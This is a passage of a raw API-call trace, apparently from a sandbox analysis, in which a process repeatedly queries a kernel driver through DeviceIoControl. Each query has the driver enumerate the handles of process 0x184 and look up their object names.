DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030564e0, HandleInformation=0x0) returned 0x0 [0068.284] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.284] PsReleaseProcessExitSynchronization () returned 0x2 [0068.284] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.284] ObQueryNameString (in: Object=0xfffffa80030564e0, ObjectNameInfo=0xfffffa800344e7c4, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800344e7c4, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.284] ObfDereferenceObject (Object=0xfffffa80030564e0) returned 0x2 [0068.284] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.284] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.284] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.284] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0068.284] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.284] PsAcquireProcessExitSynchronization () returned 0x0 [0068.284] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.284] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003097c00, HandleInformation=0x0) returned 0x0 [0068.284] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.284] PsReleaseProcessExitSynchronization () returned 0x2 [0068.284] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.284] ObQueryNameString (in: Object=0xfffffa8003097c00, ObjectNameInfo=0xfffffa8003967044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003967044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.284] ObfDereferenceObject (Object=0xfffffa8003097c00) returned 0x2 [0068.284] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.284] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.284] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.284] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.284] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.284] PsAcquireProcessExitSynchronization () returned 0x0 [0068.284] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.284] ObReferenceObjectByHandle (in: Handle=0xd0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0018a4c90, HandleInformation=0x0) returned 0x0 [0068.284] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.284] PsReleaseProcessExitSynchronization () returned 0x2 [0068.284] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.284] ObQueryNameString (in: Object=0xfffff8a0018a4c90, ObjectNameInfo=0xfffffa8003966044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003966044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.284] ObfDereferenceObject (Object=0xfffff8a0018a4c90) returned 0x1 [0068.285] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.285] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.285] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.285] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.285] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.285] PsAcquireProcessExitSynchronization () returned 0x0 [0068.285] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.285] ObReferenceObjectByHandle (in: Handle=0xd4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00181b820, HandleInformation=0x0) returned 0x0 [0068.285] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.285] PsReleaseProcessExitSynchronization () returned 0x2 [0068.285] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.285] ObQueryNameString (in: Object=0xfffff8a00181b820, ObjectNameInfo=0xfffffa8003965044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003965044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.285] ObfDereferenceObject (Object=0xfffff8a00181b820) returned 0x1 [0068.285] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.285] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.285] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.285] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0068.285] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.285] PsAcquireProcessExitSynchronization () returned 0x0 [0068.285] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.285] ObReferenceObjectByHandle (in: Handle=0xe8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003120a00, HandleInformation=0x0) returned 0x0 [0068.285] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.285] PsReleaseProcessExitSynchronization () returned 0x2 [0068.285] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.285] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8003964044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003964044, ReturnLength=0xfffff880054f8508) returned 0x0 [0068.285] ObfDereferenceObject (Object=0xfffffa8003120a00) returned 0x1 [0068.285] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.285] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.285] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.285] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.286] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.286] PsAcquireProcessExitSynchronization () returned 0x0 [0068.286] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.286] ObReferenceObjectByHandle (in: Handle=0xec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00170c890, HandleInformation=0x0) returned 0x0 [0068.286] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.286] PsReleaseProcessExitSynchronization () returned 0x2 [0068.286] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.286] ObQueryNameString (in: Object=0xfffff8a00170c890, ObjectNameInfo=0xfffffa80038f1044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f1044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.286] ObfDereferenceObject (Object=0xfffff8a00170c890) returned 0x1 [0068.286] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.286] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.286] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.286] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.286] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.286] PsAcquireProcessExitSynchronization () returned 0x0 [0068.286] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.286] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001ef79f0, HandleInformation=0x0) returned 0x0 [0068.286] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.286] PsReleaseProcessExitSynchronization () returned 0x2 [0068.286] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.286] ObQueryNameString (in: Object=0xfffff8a001ef79f0, ObjectNameInfo=0xfffffa80038e2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.286] ObfDereferenceObject (Object=0xfffff8a001ef79f0) returned 0x1 [0068.286] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.286] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.286] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.286] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.286] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.286] PsAcquireProcessExitSynchronization () returned 0x0 [0068.286] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.286] ObReferenceObjectByHandle (in: Handle=0xf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089a6a30, HandleInformation=0x0) returned 0x0 [0068.286] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.286] PsReleaseProcessExitSynchronization () returned 0x2 [0068.287] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.287] ObQueryNameString (in: Object=0xfffff8a0089a6a30, ObjectNameInfo=0xfffffa8003955044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003955044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.287] ObfDereferenceObject (Object=0xfffff8a0089a6a30) returned 0x1 [0068.287] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.287] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.287] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.287] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.287] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.287] PsAcquireProcessExitSynchronization () returned 0x0 [0068.287] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.287] ObReferenceObjectByHandle (in: Handle=0xf8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089a64c0, HandleInformation=0x0) returned 0x0 [0068.287] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.287] PsReleaseProcessExitSynchronization () returned 0x2 [0068.287] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.287] ObQueryNameString (in: Object=0xfffff8a0089a64c0, ObjectNameInfo=0xfffffa8003980044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003980044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.287] ObfDereferenceObject (Object=0xfffff8a0089a64c0) returned 0x1 [0068.287] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.287] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.287] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.287] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.287] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.287] PsAcquireProcessExitSynchronization () returned 0x0 [0068.287] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.287] ObReferenceObjectByHandle (in: Handle=0xfc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089ccd60, HandleInformation=0x0) returned 0x0 [0068.287] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.287] PsReleaseProcessExitSynchronization () returned 0x2 [0068.287] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.287] ObQueryNameString (in: Object=0xfffff8a0089ccd60, ObjectNameInfo=0xfffffa800396c044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396c044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.287] ObfDereferenceObject (Object=0xfffff8a0089ccd60) returned 0x1 [0068.287] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.287] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.287] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.287] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.287] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.288] PsAcquireProcessExitSynchronization () returned 0x0 [0068.288] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.288] ObReferenceObjectByHandle (in: Handle=0x100, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001207fc0, HandleInformation=0x0) returned 0x0 [0068.288] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.288] PsReleaseProcessExitSynchronization () returned 0x2 [0068.288] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.288] ObQueryNameString (in: Object=0xfffff8a001207fc0, ObjectNameInfo=0xfffffa800396d044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396d044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.288] ObfDereferenceObject (Object=0xfffff8a001207fc0) returned 0x1 [0068.288] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.288] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.288] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.288] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.288] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.288] PsAcquireProcessExitSynchronization () returned 0x0 [0068.288] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.288] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001651610, HandleInformation=0x0) returned 0x0 [0068.288] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.288] PsReleaseProcessExitSynchronization () returned 0x2 [0068.288] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.288] ObQueryNameString (in: Object=0xfffff8a001651610, ObjectNameInfo=0xfffffa800396e044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396e044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.288] ObfDereferenceObject (Object=0xfffff8a001651610) returned 0x1 [0068.288] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.288] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.288] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.288] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.288] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.288] PsAcquireProcessExitSynchronization () returned 0x0 [0068.288] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.288] ObReferenceObjectByHandle (in: Handle=0x108, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001201570, HandleInformation=0x0) returned 0x0 [0068.288] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.288] PsReleaseProcessExitSynchronization () returned 0x2 [0068.288] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.288] ObQueryNameString (in: Object=0xfffff8a001201570, ObjectNameInfo=0xfffffa800396f044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396f044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.288] ObfDereferenceObject (Object=0xfffff8a001201570) returned 0x1 [0068.289] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.289] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.289] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.289] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.289] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.289] PsAcquireProcessExitSynchronization () returned 0x0 [0068.289] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.289] ObReferenceObjectByHandle (in: Handle=0x10c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0017d2a40, HandleInformation=0x0) returned 0x0 [0068.289] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.289] PsReleaseProcessExitSynchronization () returned 0x2 [0068.289] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.289] ObQueryNameString (in: Object=0xfffff8a0017d2a40, ObjectNameInfo=0xfffffa8003971044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003971044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.289] ObfDereferenceObject (Object=0xfffff8a0017d2a40) returned 0x1 [0068.289] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.289] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.289] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.289] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.289] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.289] PsAcquireProcessExitSynchronization () returned 0x0 [0068.289] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.289] ObReferenceObjectByHandle (in: Handle=0x110, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d5d80, HandleInformation=0x0) returned 0x0 [0068.289] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.289] PsReleaseProcessExitSynchronization () returned 0x2 [0068.289] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.289] ObQueryNameString (in: Object=0xfffff8a0089d5d80, ObjectNameInfo=0xfffffa8003972044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003972044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.289] ObfDereferenceObject (Object=0xfffff8a0089d5d80) returned 0x1 [0068.289] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.289] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.289] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.290] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.290] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.290] PsAcquireProcessExitSynchronization () returned 0x0 [0068.290] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.290] ObReferenceObjectByHandle (in: Handle=0x11c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00122ae60, HandleInformation=0x0) returned 0x0 [0068.290] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.290] PsReleaseProcessExitSynchronization () returned 0x2 [0068.290] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.290] ObQueryNameString (in: Object=0xfffff8a00122ae60, ObjectNameInfo=0xfffffa8003973044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: 